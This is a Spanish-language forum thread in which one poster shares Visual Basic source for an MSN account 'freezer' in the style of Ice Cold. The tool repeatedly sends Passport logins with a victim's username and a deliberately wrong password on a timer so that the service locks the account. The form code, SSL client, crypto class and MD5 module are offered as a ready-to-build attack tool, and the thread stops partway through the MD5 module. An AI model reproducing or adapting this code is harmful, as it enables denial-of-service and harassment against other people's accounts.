Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Tengu en 28 Julio 2007, 20:17 pm



Título: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: Tengu en 28 Julio 2007, 20:17 pm
Hola a todos, en este post hablaremos sobre la manera de crear un congelador tipo ice cold o iceberg, esta es mi maner,no se realmente si los dos programas antes mencionados utilizan este metodo, pero a mi me sirve asi.asi q empezaremos por lo basico ya que muchos buscan el codigo del ice cold.aqui veremos algo parecido.


Necesitaremos poner en un form lo siguiemte:

  • 1 textbox llamado text1
  • 1 textbox llamado text2(propiedad visible=false)
  • 1 command button(Command1)
  • 1 statusbar (statusbar1)
  • 4 controles winsock[llamados:(Client;http;SSL;switchboard)respectivamente]

'# lo que vamos a hacer es utilizar el protocolo de conexion de MSN asociado a un
'#timer para generar un ciclo que envie peticiones de conexion con un usuario real
'#pero con una password errónea,lo que hara que el servidor bloque el inicio de sesion
'#de esa cuenta temporalmente.

Código:
Private Sub Form_Load()
Me.Caption = "FreeZer ::Tunick::"
Dim n As Long
For n = 1 To 1024
Load Switchboard(n)
   

Next n
For n = 1 To 10
    Load http(n)
    Load Client(n)
Next n


End Sub
Este es el evento load, en breve posteo lo demas.


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 28 Julio 2007, 20:36 pm
Aqui les va el resto del code, recuerden agregar dentro de este codigo el evento load q vimos anteriormente:

Código:
Option Explicit
Dim Buffer(10) As String, hBuffer(10) As String, HTTP_Header As String, Auth_Challenge As String
Dim Auth_Login As String, Ticket As String, curIndex As Integer
 Dim C As Long



Private Sub Client_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String, tmp() As String, n As Long
Client(index).GetData Packet
Buffer(index) = Buffer(index) & Packet
tmp = Split(Buffer(index), vbCrLf)
For n = 0 To UBound(tmp) - 1
    Handle index, tmp(n)
    Buffer(index) = Replace$(Buffer(index), tmp(n) & vbCrLf, "")
Next n
End Sub

Private Sub Client_Error(index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Debug.Print "Error: "; index; Description
Client(index).Close
End Sub

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub


Sub Handle(index As Integer, ByVal Packet As String)
Debug.Print "hnd: "; index, Packet
Dim pType As String, tmp() As String, tmp1() As String
pType = Mid(Packet, 1, 3)
Select Case pType
    Case "VER"
        AddStatus Me, "Estableciendo Version"
        MsnSend index, "CVR 2 0x0409 winnt 5.1 i386 MSNMSGR 7.0.0816 MSMSGS " & Username
    Case "CVR"
        MsnSend index, "USR 3 TWN I " & Username
    Case "XFR"
        tmp = Split(Packet, " ")
        Client(index).Close
        tmp1 = Split(tmp(3), ":")
        Client(index + 1).Close
        Client(index + 1).Connect tmp1(0), tmp1(1)
        Case "USR"
        tmp = Split(Packet, " ")
        Select Case tmp(2)
        Case "TWN"
            AddStatus Me, "Autorizando..."
            Auth_Challenge = tmp(4)
            Debug.Print Auth_Challenge
            HTTP_Header = "GET https://nexus.passport.com/rdr/pprdr.asp" & vbCrLf
            SSL.Close
            SSL.Connect "nexus.passport.com", 443
            curIndex = index
        Case "OK"
            Me.Caption = tmp(3) & " [" & tmp(4) & "]"
            MsnSend index, "SYN 8 6"
        End Select
    Case "SYN"
        tmp = Split(Packet, " ")
        ContactCount = tmp(3)
    Case "MSG"
    Case "RNG"
        tmp = Split(Packet, " ")
        'RNG 14422 207.46.4.198:1863 CKI 1128549075.11374 tel@xxzcxc.net tel
        SB_Connect tmp(2), tmp(1), tmp(5), tmp(4)
    Case "CHL"
        tmp = Split(Packet, " ")
        Client(index).SendData "QRY 1049 msmsgs@msnmsgr.com 32" & vbCrLf & CalculateMD5(tmp(2) & "Q1P7W2E4J9R8U3S5")
    Case Else
   
End Select
End Sub

Sub SB_Connect(ByVal Address As String, ByVal SessionID As String, ByVal Caller As String, ByVal Challenge As String)
Dim tmp() As String, n As Long
tmp = Split(Address, ":")
For n = 0 To Switchboard.UBound - 1
    If Switchboard(n).State = sckClosed Then
        Switchboard(n).Connect tmp(0), tmp(1)
        RNG(n).Caller = Caller
        RNG(n).Challenge = Challenge
        RNG(n).SessionID = SessionID
        Exit For
    End If
Next n
End Sub

Private Sub Form_Resize()
On Error Resume Next
StatusBar1.Width = ScaleWidth
StatusBar1.Panels(1).Width = ScaleWidth
End Sub





Private Sub Switchboard_Connect(index As Integer)
SB_Send index, "ANS 1 " & Username & " " & RNG(index).Challenge & " " & RNG(index).SessionID
End Sub

Sub SB_Send(index As Integer, ByVal Packet As String)
Switchboard(index).SendData Packet & vbCrLf
End Sub

Private Sub Switchboard_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String
Switchboard(index).GetData Packet
Debug.Print "SB: "; index; Packet
End Sub




Sub AddStatus(frm As Form, ByVal Msg As String)
frm.StatusBar1.Panels(1).Text = Msg
End Sub

Sub MsnSend(index As Integer, ByVal Packet As String)
Client(index).SendData Packet & vbCrLf
End Sub
Private Sub Form_Unload(Cancel As Integer)
Dim n As Long
For n = 0 To 10
    If http(n).State <> sckClosed Then http(n).Close
    If Client(n).State <> sckClosed Then Client(n).Close
Next n
End
End Sub
Private Sub Client_Connect(index As Integer)
MsnSend index, "VER 1 MSNP8 CVR0"
AddStatus Me, "Conectado al Servidor MSN"
End Sub
'--------------------------------- HTTP Socks --------------------------------'
Private Sub http_Connect(index As Integer)
httpSend index, HTTP_Header
End Sub

Private Sub http_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String, tmp() As String, n As Long
http(index).GetData Packet
Debug.Print "headers: "; Packet
hBuffer(index) = hBuffer(index) & Packet
If Right(hBuffer(index), 4) = vbCrLf & vbCrLf Then
tmp = Split(Buffer(index), vbCrLf)
For n = 0 To UBound(tmp) - 1
    Headers index, tmp(n)
    hBuffer(index) = ""
Next n
End If
End Sub

Sub httpSend(index As Integer, ByVal Packet As String)
http(index).SendData Packet
End Sub

Sub Headers(index As Integer, ByVal Packet As String)
Debug.Print index; Packet
End Sub

'------------------------------------- SSL Sockets ---------------------------------'
'SSLv2 for VB, coded by Jason K. Resch & Seth Taylor

Private Sub SSL_Close()
    Me.Caption = "Freezando...."
    SSL.Close
    If Layer = 3 Then
        Layer = 4
        Call SSL_DataArrival(0)
    End If
    Layer = 0
    Set SecureSession = Nothing
End Sub

Private Sub SSL_Connect()
    Processing = False
    Set SecureSession = New CryptoCls
    Call SendClientHello(SSL)
End Sub

Private Sub SSL_DataArrival(ByVal bytesTotal As Long)
 Dim TheData As String
    Dim Response As String
    Response = ""
   
    ' Buffer incoming data while connection is open or being opened
    If Layer < 4 Then
        Call SSL.GetData(TheData, vbString, bytesTotal)
        DataBuffer = DataBuffer & TheData
    End If
   
    If Layer = 3 Then
        ' Download complete response before processing
        Exit Sub
    End If
   
    'Parse each SSL Record
    Do
   
        If SeekLen = 0 Then
            If Len(DataBuffer) >= 2 Then
                TheData = GetBufferDataPart(2)
                SeekLen = BytesToLen(TheData)
            Else
                Exit Sub
            End If
        End If
       
        If Len(DataBuffer) >= SeekLen Then
            TheData = GetBufferDataPart(SeekLen)
        Else
            Exit Sub
        End If
       
       
        Select Case Layer
            Case 0:
                ENCODED_CERT = Mid(TheData, 12, BytesToLen(Mid(TheData, 6, 2)))
                CONNECTION_ID = Right(TheData, BytesToLen(Mid(TheData, 10, 2)))
                Call IncrementRecv
                Call SendMasterKey(SSL)
            Case 1:
                TheData = SecureSession.RC4_Decrypt(TheData)
                If Right(TheData, Len(CHALLENGE_DATA)) = CHALLENGE_DATA Then
                    If VerifyMAC(TheData) Then
                        Call SendClientFinish(SSL)
                    Else
                        ' SSL Error -- send SSL error to server
                        MsgBox ("SSL Error: Invalid MAC data ... aborting connection.")
                        SSL.Close
                    End If
                Else
                    ' SSL Error -- send SSL error to server
                    MsgBox ("SSL Error: Invalid Challenge data ... aborting connection.")
                    SSL.Close
                End If
             Case 2:
                TheData = SecureSession.RC4_Decrypt(TheData)
                If VerifyMAC(TheData) = False Then
                    ' SSL Error -- send SSL error to server
                    MsgBox ("SSL Error: Invalid MAC data ... aborting connection.")
                    SSL.Close
                End If
                Layer = 3
                DoEvents
                SSLSend SSL, HTTP_Header & vbCrLf
             Case 3:
                ' Do nothing while buffer is filled ... wait for connection to close
             Case 4:
                'SSLSend SSL, HTTP_Header & vbCrLf
                TheData = SecureSession.RC4_Decrypt(TheData)
                If VerifyMAC(TheData) Then
                    Response = Response & Mid(TheData, 17)
                Else
                    ' SSL Error -- data is corrupt and must be discarded
                    MsgBox ("SSL Error: Invalid MAC data ... Data discarded.")
                    Layer = 0
                    DataBuffer = ""
                    Response = ""
                    Exit Sub
                End If
        End Select
        SeekLen = 0
    Loop Until Len(DataBuffer) = 0
   
    If Layer = 4 Then
        Layer = 0
        Handle_SSL Response
    End If
   ' SSLSend SSL, HTTP_Header & vbCrLf
End Sub

Sub Handle_SSL(ByVal Packet As String)
Dim Headers() As String, Params() As String, Args() As String, n As Long, l As Long
Debug.Print Packet
Headers = Split(Packet, vbCrLf)
For n = 0 To UBound(Headers) - 2
    If Headers(n) <> "" Then
    Params = Split(Headers(n), ":")
    Select Case Params(0)
    Case "PassportURLs"
        Args = Split(Params(1), ",")
        Auth_Login = Mid(Args(1), 9)
        Args = Split(Auth_Login, "/")
        Debug.Print Auth_Login
        HTTP_Header = "GET /" & Args(1) & " HTTP/1.1" & vbCrLf & _
            "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & Username & ",pwd=" & Password & "," & Auth_Challenge & vbCrLf & _
            "Host: " & Args(0) & vbCrLf
        SSL.Connect Args(0), 443
    Case "Authentication-Info"
        Args = Split(Params(1), ",")
        For l = 0 To UBound(Args) - 1
        If Mid(Args(l), 1, 9) = "from-PP='" Then
            Ticket = Mid(Args(l), 10, Len(Mid(Args(l), 10)) - 1)
            Exit For
        End If
        Next l
        Debug.Print Ticket
        MsnSend curIndex, "USR 4 TWN S " & Ticket
    End Select
    End If
Next n
End Sub


Function GetBufferDataPart(ByVal Length As Long) As String
    Dim l As Long
    l = Len(DataBuffer)
    If Length > l Then
        Length = l
        GetBufferDataPart = Left(DataBuffer, l)
    Else
        GetBufferDataPart = Left(DataBuffer, Length)
    End If
    If Length = l Then
        DataBuffer = ""
    Else
        DataBuffer = Mid(DataBuffer, Length + 1)
    End If
End Function



Private Sub Timer1_Timer()
Text2.Text = Val(Text2.Text) + Val("1")
If Text2.Text = "15" Then
Timer1.Enabled = False
MsgBox "Cuenta Congelada", vbInformation, "VB Freezer"
Me.Caption = "Freezada jejej"
End If
Username = Text1
Password = "Fucked by Tengu ..::FireB0y::.." 'aca pones cualquier password
Client(0).Connect "messenger.hotmail.com", 1863
End Sub

PD: recuerden que todo esto mas el form_load van en el form al cual llamaremos FormL


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 28 Julio 2007, 20:38 pm
en un modulo de clase llamado cryptocls agregamos este code:

Código:
Option Explicit 'Declare All Variables

'CryptoAPI Functions
Private Declare Function CryptAcquireContext Lib "advapi32.dll" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As String, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hSessionKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptGetHashParam Lib "advapi32.dll" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32.dll" (ByVal hHash As Long) As Long
Private Declare Function CryptDeriveKey Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hBaseData As Long, ByVal dwFlags As Long, ByRef hSessionKey As Long) As Long
Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwBufLen As Long) As Long
Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long) As Long
Private Declare Function CryptDestroyKey Lib "advapi32.dll" (ByVal hSessionKey As Long) As Long
Private Declare Function CryptImportKey Lib "advapi32.dll" (ByVal hProv As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal hPubKey As Long, ByVal dwFlags As Long, ByRef phKey As Long) As Long
Private Declare Function CryptExportKey Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hExpKey As Long, ByVal dwBlobType As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long) As Long
Private Declare Function CryptGenRandom Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwLen As Long, ByVal pbBuffer As String) As Long

'CryptoAPI Constants
Private Const SERVICE_PROVIDER As String = "Microsoft Enhanced Cryptographic Provider v1.0" & vbNullChar
Private Const KEY_CONTAINER As String = "GCN SSL Container" & vbNullChar
Private Const PROV_RSA_FULL As Long = 1
Private Const CRYPT_NEWKEYSET As Long = 8
Private Const CRYPT_EXPORTABLE As Long = 1
Private Const CALG_MD5 As Long = 32771
Private Const CALG_RC4 As Long = 26625
Private Const HP_HASHVAL As Long = 2
Private Const SIMPLEBLOB As Long = 1
Private Const GEN_KEY_BITS As Long = &H800000

'Class Variables
Dim hCryptProv As Long
Dim hClientWriteKey As Long
Dim hClientReadKey As Long
Dim hMasterKey As Long
Dim lngType As Long


Public Function ExportKeyBlob(ByRef StrMasterKey As String, ByRef StrReadKey As String, ByRef StrWriteKey As String, ByVal StrChallenge As String, ByVal StrConnectionID As String, ByVal StrPublicKey As String) As String

    'Create Keys and Return PKCS Block
    Dim lngReturnValue As Long
    Dim lngLength As Long
    Dim rgbBlob As String
    Dim hPublicKey As Long
   
    Call CreateKey(hMasterKey, StrMasterKey)
    StrMasterKey = MD5_Hash(StrMasterKey)
   
    Call CreateKey(hClientReadKey, StrMasterKey & "0" & StrChallenge & StrConnectionID)
    Call CreateKey(hClientWriteKey, StrMasterKey & "1" & StrChallenge & StrConnectionID)
   
    StrReadKey = MD5_Hash(StrMasterKey & "0" & StrChallenge & StrConnectionID)
    StrWriteKey = MD5_Hash(StrMasterKey & "1" & StrChallenge & StrConnectionID)

    lngReturnValue = CryptImportKey(hCryptProv, StrPublicKey, Len(StrPublicKey), 0, 0, hPublicKey)

    lngReturnValue = CryptExportKey(hMasterKey, hPublicKey, SIMPLEBLOB, 0, vbNull, lngLength)
    rgbBlob = String(lngLength, 0)
    lngReturnValue = CryptExportKey(hMasterKey, hPublicKey, SIMPLEBLOB, 0, rgbBlob, lngLength)
   
    If hPublicKey <> 0 Then CryptDestroyKey hPublicKey
    If hMasterKey <> 0 Then CryptDestroyKey hMasterKey

    ExportKeyBlob = ReverseString(Right(rgbBlob, 128))

End Function

Public Sub CreateKey(ByRef KeyName As Long, ByVal HashData As String)

    'Create a Session Key from a Hash
    Dim lngParams As Long
    Dim lngReturnValue As Long
    Dim lngHashLen As Long
    Dim hHash As Long
   
    lngReturnValue = CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash)
    If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not create a Hash Object (CryptCreateHash API)"
   
    lngReturnValue = CryptHashData(hHash, HashData, Len(HashData), 0)
    If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not calculate a Hash Value (CryptHashData API)"
   
    lngParams = GEN_KEY_BITS Or CRYPT_EXPORTABLE
    lngReturnValue = CryptDeriveKey(hCryptProv, CALG_RC4, hHash, lngParams, KeyName)
    If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not create a session key (CryptDeriveKey API)"
   
    If hHash <> 0 Then CryptDestroyHash hHash
   
End Sub

Function RC4_Encrypt(ByVal Plaintext As String) As String

    'Encrypt with Client Write Key
    Dim lngLength As Long
    Dim lngReturnValue As Long
   
    lngLength = Len(Plaintext)
    lngReturnValue = CryptEncrypt(hClientWriteKey, 0, False, 0, Plaintext, lngLength, lngLength)

    RC4_Encrypt = Plaintext

End Function

Function RC4_Decrypt(ByVal Ciphertext As String) As String

    'Decrypt with Client Read Key
    Dim lngLength As Long
    Dim lngReturnValue As Long
   
    lngLength = Len(Ciphertext)
    lngReturnValue = CryptDecrypt(hClientReadKey, 0, False, 0, Ciphertext, lngLength)

    RC4_Decrypt = Ciphertext

End Function


Private Sub Class_Initialize()
On Error Resume Next
   
    Dim lngReturnValue As Long
    Dim TheAnswer As Long
   
    lngReturnValue = CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) 'try to make a new key container
   
    If lngReturnValue = 0 Then
        lngReturnValue = CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) 'try to get a handle to a key container that already exists, and if it fails...
        If lngReturnValue = 0 Then TheAnswer = MsgBox("GCN has detected that you do not have the required High Encryption Pack installed." & vbCrLf & "Would like to download this pack from Microsoft's website?", 16 + vbYesNo)
    End If
   
    If TheAnswer = vbYes Then
        Call Shell("START http://www.microsoft.com/windows/ie/downloads/recommended/128bit/default.asp", vbHide)
        FormL.SSL.Close
    End If
   
    If TheAnswer = vbNo Then
        FormL.SSL.Close
    End If

End Sub


Private Sub Class_Terminate()

    'Free up Memory
    If hClientWriteKey <> 0 Then CryptDestroyKey hClientWriteKey
    If hClientReadKey <> 0 Then CryptDestroyKey hClientReadKey
    If hCryptProv <> 0 Then CryptReleaseContext hCryptProv, 0

End Sub

Public Function GenerateRandomBytes(ByVal Length As Long, ByRef TheString As String) As Boolean

    'Generate Random Bytes
    Dim i As Integer

    Randomize
    TheString = ""
    For i = 1 To Length
        TheString = TheString & Chr(Int(Rnd * 256))
    Next
   
    GenerateRandomBytes = CryptGenRandom(hCryptProv, Length, TheString)

End Function

Public Function MD5_Hash(ByVal TheString As String) As String

    'Digest a String using MD5
    Dim lngReturnValue As Long
    Dim strHash As String
    Dim hHash As Long
    Dim lngHashLen As Long
   
    lngReturnValue = CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash)
    lngReturnValue = CryptHashData(hHash, TheString, Len(TheString), 0)
    lngReturnValue = CryptGetHashParam(hHash, HP_HASHVAL, vbNull, lngHashLen, 0)
    strHash = String(lngHashLen, vbNullChar)
    lngReturnValue = CryptGetHashParam(hHash, HP_HASHVAL, strHash, lngHashLen, 0)
   
    If hHash <> 0 Then CryptDestroyHash hHash
   
    MD5_Hash = strHash

End Function


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 28 Julio 2007, 20:40 pm
en un modulo bas llamado basMD5 agregamos:

Código:
Option Explicit

Private lngTrack As Long
Private arrLongConversion(4) As Long
Private arrSplit64(63) As Byte

Private Const OFFSET_4 As Double = 4294967296#
Private Const MAXINT_4 As Long = 2147483647

Private Const S11 As Long = 7
Private Const S12 As Long = 12
Private Const S13 As Long = 17
Private Const S14 As Long = 22
Private Const S21 As Long = 5
Private Const S22 As Long = 9
Private Const S23 As Long = 14
Private Const S24 As Long = 20
Private Const S31 As Long = 4
Private Const S32 As Long = 11
Private Const S33 As Long = 16
Private Const S34 As Long = 23
Private Const S41 As Long = 6
Private Const S42 As Long = 10
Private Const S43 As Long = 15
Private Const S44 As Long = 21

Private Function MD5Round(strRound As String, a As Long, b As Long, C As Long, d As Long, X As Long, S As Long, ac As Long) As Long

    Select Case strRound
   
        Case Is = "FF"
            a = MD5LongAdd4(a, (b And C) Or (Not (b) And d), X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
       
        Case Is = "GG"
            a = MD5LongAdd4(a, (b And d) Or (C And Not (d)), X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
           
        Case Is = "HH"
            a = MD5LongAdd4(a, b Xor C Xor d, X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
           
        Case Is = "II"
            a = MD5LongAdd4(a, C Xor (b Or Not (d)), X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
           
    End Select
   
End Function

Private Function MD5Rotate(lngValue As Long, lngBits As Long) As Long
   
    Dim lngSign As Long
    Dim lngI As Long
   
    lngBits = (lngBits Mod 32)
   
    If lngBits = 0 Then MD5Rotate = lngValue: Exit Function
   
    For lngI = 1 To lngBits
        lngSign = lngValue And &HC0000000
        lngValue = (lngValue And &H3FFFFFFF) * 2
        lngValue = lngValue Or ((lngSign < 0) And 1) Or (CBool(lngSign And &H40000000) And &H80000000)
    Next
   
    MD5Rotate = lngValue

End Function

Private Function TRID() As String

    Dim sngNum As Single, lngnum As Long
    Dim strResult As String
   
    sngNum = Rnd(2147483648#)
    strResult = CStr(sngNum)
   
    strResult = Replace(strResult, "0.", "")
    strResult = Replace(strResult, ".", "")
    strResult = Replace(strResult, "E-", "")
   
    TRID = strResult

End Function

Private Function MD564Split(lngLength As Long, bytBuffer() As Byte) As String

    Dim lngBytesTotal As Long, lngBytesToAdd As Long
    Dim intLoop As Long, intLoop2 As Long, lngTrace As Long
    Dim intInnerLoop As Long, intLoop3 As Long
   
    lngBytesTotal = lngTrack Mod 64
    lngBytesToAdd = 64 - lngBytesTotal
    lngTrack = (lngTrack + lngLength)
   
    If lngLength >= lngBytesToAdd Then
        For intLoop = 0 To lngBytesToAdd - 1
            arrSplit64(lngBytesTotal + intLoop) = bytBuffer(intLoop)
        Next intLoop
       
        MD5Conversion arrSplit64
       
        lngTrace = (lngLength) Mod 64

        For intLoop2 = lngBytesToAdd To lngLength - intLoop - lngTrace Step 64
            For intInnerLoop = 0 To 63
                arrSplit64(intInnerLoop) = bytBuffer(intLoop2 + intInnerLoop)
            Next intInnerLoop
           
            MD5Conversion arrSplit64
       
        Next intLoop2
       
        lngBytesTotal = 0
    Else
   
      intLoop2 = 0
   
    End If
   
    For intLoop3 = 0 To lngLength - intLoop2 - 1
       
        arrSplit64(lngBytesTotal + intLoop3) = bytBuffer(intLoop2 + intLoop3)
   
    Next intLoop3
     
End Function

Private Function MD5StringArray(strInput As String) As Byte()
   
    Dim intLoop As Integer
    Dim bytBuffer() As Byte
    ReDim bytBuffer(Len(strInput))
   
    For intLoop = 0 To Len(strInput) - 1
        bytBuffer(intLoop) = Asc(Mid(strInput, intLoop + 1, 1))
    Next intLoop
   
    MD5StringArray = bytBuffer
   
End Function

Private Sub MD5Conversion(bytBuffer() As Byte)

    Dim X(16) As Long, a As Long
    Dim b As Long, C As Long
    Dim d As Long
   
    a = arrLongConversion(1)
    b = arrLongConversion(2)
    C = arrLongConversion(3)
    d = arrLongConversion(4)
   
    MD5Decode 64, X, bytBuffer
   
    MD5Round "FF", a, b, C, d, X(0), S11, -680876936
    MD5Round "FF", d, a, b, C, X(1), S12, -389564586
    MD5Round "FF", C, d, a, b, X(2), S13, 606105819
    MD5Round "FF", b, C, d, a, X(3), S14, -1044525330
    MD5Round "FF", a, b, C, d, X(4), S11, -176418897
    MD5Round "FF", d, a, b, C, X(5), S12, 1200080426
    MD5Round "FF", C, d, a, b, X(6), S13, -1473231341
    MD5Round "FF", b, C, d, a, X(7), S14, -45705983
    MD5Round "FF", a, b, C, d, X(8), S11, 1770035416
    MD5Round "FF", d, a, b, C, X(9), S12, -1958414417
    MD5Round "FF", C, d, a, b, X(10), S13, -42063
    MD5Round "FF", b, C, d, a, X(11), S14, -1990404162
    MD5Round "FF", a, b, C, d, X(12), S11, 1804603682
    MD5Round "FF", d, a, b, C, X(13), S12, -40341101
    MD5Round "FF", C, d, a, b, X(14), S13, -1502002290
    MD5Round "FF", b, C, d, a, X(15), S14, 1236535329

    MD5Round "GG", a, b, C, d, X(1), S21, -165796510
    MD5Round "GG", d, a, b, C, X(6), S22, -1069501632
    MD5Round "GG", C, d, a, b, X(11), S23, 643717713
    MD5Round "GG", b, C, d, a, X(0), S24, -373897302
    MD5Round "GG", a, b, C, d, X(5), S21, -701558691
    MD5Round "GG", d, a, b, C, X(10), S22, 38016083
    MD5Round "GG", C, d, a, b, X(15), S23, -660478335
    MD5Round "GG", b, C, d, a, X(4), S24, -405537848
    MD5Round "GG", a, b, C, d, X(9), S21, 568446438
    MD5Round "GG", d, a, b, C, X(14), S22, -1019803690
    MD5Round "GG", C, d, a, b, X(3), S23, -187363961
    MD5Round "GG", b, C, d, a, X(8), S24, 1163531501
    MD5Round "GG", a, b, C, d, X(13), S21, -1444681467
    MD5Round "GG", d, a, b, C, X(2), S22, -51403784
    MD5Round "GG", C, d, a, b, X(7), S23, 1735328473
    MD5Round "GG", b, C, d, a, X(12), S24, -1926607734
 
    MD5Round "HH", a, b, C, d, X(5), S31, -378558
    MD5Round "HH", d, a, b, C, X(8), S32, -2022574463
    MD5Round "HH", C, d, a, b, X(11), S33, 1839030562
    MD5Round "HH", b, C, d, a, X(14), S34, -35309556
    MD5Round "HH", a, b, C, d, X(1), S31, -1530992060
    MD5Round "HH", d, a, b, C, X(4), S32, 1272893353
    MD5Round "HH", C, d, a, b, X(7), S33, -155497632
    MD5Round "HH", b, C, d, a, X(10), S34, -1094730640
    MD5Round "HH", a, b, C, d, X(13), S31, 681279174
    MD5Round "HH", d, a, b, C, X(0), S32, -358537222
    MD5Round "HH", C, d, a, b, X(3), S33, -722521979
    MD5Round "HH", b, C, d, a, X(6), S34, 76029189
    MD5Round "HH", a, b, C, d, X(9), S31, -640364487
    MD5Round "HH", d, a, b, C, X(12), S32, -421815835
    MD5Round "HH", C, d, a, b, X(15), S33, 530742520
    MD5Round "HH", b, C, d, a, X(2), S34, -995338651
 
    MD5Round "II", a, b, C, d, X(0), S41, -198630844
    MD5Round "II", d, a, b, C, X(7), S42, 1126891415
    MD5Round "II", C, d, a, b, X(14), S43, -1416354905
    MD5Round "II", b, C, d, a, X(5), S44, -57434055
    MD5Round "II", a, b, C, d, X(12), S41, 1700485571
    MD5Round "II", d, a, b, C, X(3), S42, -1894986606
    MD5Round "II", C, d, a, b, X(10), S43, -1051523
    MD5Round "II", b, C, d, a, X(1), S44, -2054922799
    MD5Round "II", a, b, C, d, X(8), S41, 1873313359
    MD5Round "II", d, a, b, C, X(15), S42, -30611744
    MD5Round "II", C, d, a, b, X(6), S43, -1560198380
    MD5Round "II", b, C, d, a, X(13), S44, 1309151649
    MD5Round "II", a, b, C, d, X(4), S41, -145523070
    MD5Round "II", d, a, b, C, X(11), S42, -1120210379
    MD5Round "II", C, d, a, b, X(2), S43, 718787259
    MD5Round "II", b, C, d, a, X(9), S44, -343485551
   
    arrLongConversion(1) = MD5LongAdd(arrLongConversion(1), a)
    arrLongConversion(2) = MD5LongAdd(arrLongConversion(2), b)
    arrLongConversion(3) = MD5LongAdd(arrLongConversion(3), C)
    arrLongConversion(4) = MD5LongAdd(arrLongConversion(4), d)
   
End Sub

Private Function MD5LongAdd(lngVal1 As Long, lngVal2 As Long) As Long
   
    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
   
    MD5LongAdd = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function

Private Function MD5LongAdd4(lngVal1 As Long, lngVal2 As Long, lngVal3 As Long, lngVal4 As Long) As Long
   
    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&) + (lngVal3 And &HFFFF&) + (lngVal4 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + ((lngVal3 And &HFFFF0000) \ 65536) + ((lngVal4 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
    MD5LongAdd4 = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function

Private Sub MD5Decode(intLength As Integer, lngOutBuffer() As Long, bytInBuffer() As Byte)
   
    Dim intDblIndex As Integer
    Dim intByteIndex As Integer
    Dim dblSum As Double
   
    intDblIndex = 0
   
    For intByteIndex = 0 To intLength - 1 Step 4
       
        dblSum = bytInBuffer(intByteIndex) + bytInBuffer(intByteIndex + 1) * 256# + bytInBuffer(intByteIndex + 2) * 65536# + bytInBuffer(intByteIndex + 3) * 16777216#
        lngOutBuffer(intDblIndex) = MD5LongConversion(dblSum)
        intDblIndex = (intDblIndex + 1)
   
    Next intByteIndex

End Sub

Private Function MD5LongConversion(dblValue As Double) As Long
   
    If dblValue < 0 Or dblValue >= OFFSET_4 Then Error 6
       
    If dblValue <= MAXINT_4 Then
        MD5LongConversion = dblValue
    Else
        MD5LongConversion = dblValue - OFFSET_4
    End If
       
End Function

Private Sub MD5Finish()
   
    Dim dblBits As Double
    Dim arrPadding(72) As Byte
    Dim lngBytesBuffered As Long
   
